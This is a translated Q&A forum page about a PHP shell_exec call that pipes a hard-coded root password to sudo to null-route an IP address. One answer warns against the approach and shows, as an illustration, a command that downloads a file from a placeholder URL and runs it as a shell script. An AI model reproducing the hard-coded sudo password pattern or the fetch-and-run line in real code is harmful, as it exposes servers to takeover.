Shell_exec () не запускается

0

Я пытаюсь маршрутизировать add ip (Thats для нулевой маршрутизации ip, означает, что, предотвращая отправку пакетов на мой сервер, ему необходимо подключиться к серверу и запустить команду), другими словами, запретить ip.

Команда SSH

route add 50.50.50.50 gw 127.0.0.1 lo

Но я хочу использовать его в php, используя функцию shell_exec(). Пробовал это без везения.

Php

shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo"); 

Это не дает мне ошибок, ничего. Каков правильный способ запуска этой команды в shell_exec()?

  • 0
    проверьте, позволяет ли сервер
  • 0
    shell_exec принимает только один параметр; Вы хотели использовать exec ?
Показать ещё 1 комментарий
Теги:

2 ответа

1

Поэтому в зависимости от того, какой HTTP-сервер вы используете (nginx, apache и т.д.), Если они правильно настроены, эти учетные записи служб не смогут выполнять эту команду, потому что у них нет привилегий на уровне root, чтобы выполнить изменения, которые вы хотите сделать если shell_exec включен.

Вы можете протестировать это, войдя в систему под учетной записью root, а при запуске apache выполните следующие команды:

su - apache (or whatever user apache is running as)

Это должно вернуться.

This account is currently not available.

Поскольку пользователь apache должен быть настроен с помощью nologin, это, теоретически, не должно работать. Однако вы можете добавить пользователя для проверки этого поведения с помощью "useradd".

Это было сказано... на моей виртуальной машине я воссоздал это для контекста. Я создал тестового пользователя и попытался запустить указанную вами команду. Вот результат (который также должен получить пользователь Apache)

[timgalyean@test ~]$ route add 50.50.50.50 gw 127.0.0.1 lo
SIOCADDRT: Operation not permitted
[timgalyean@test ~]$

Таким образом, вы можете видеть, что у пользователя нет разрешения на это. Вопреки задаче, это хорошо.

Кроме того, я бы лично посоветовал не идти по этому маршруту, так как shell_exec может привести к другим проблемам безопасности. Особенно если вы дадите свои разрешения пользователю выполнить это.

Еще одна вещь, которую я заметил, это то, что у вас есть sudo в вашей команде. Пользователь службы не должен иметь доступ к Sudo. Если бы я смог понять, что делает ваш php-скрипт, я могу создать что-то отличное, например..

 shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo ; wget url/myfile.txt; bash -c 'myfile.txt'"); 

Предполагая, что myfile.txt является оболочкой, я мог бы скомпрометировать ваш сервер через вашего пользователя службы, который для получения этой работы потребует доступа sudo.

1

пытаться:

$output = shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo");
echo "<pre>$output</pre>";
  • 0
    Я проверяю нуль-маршрутизируемые ips с помощью команды netstat -nr и не вижу, что включенный ip был забанен. Означает, что это не работает :( Я пытаюсь забанить ip с shell_exec. Кстати, он ничего не отображает

Ещё вопросы

Сообщество Overcoder
Наверх
Меню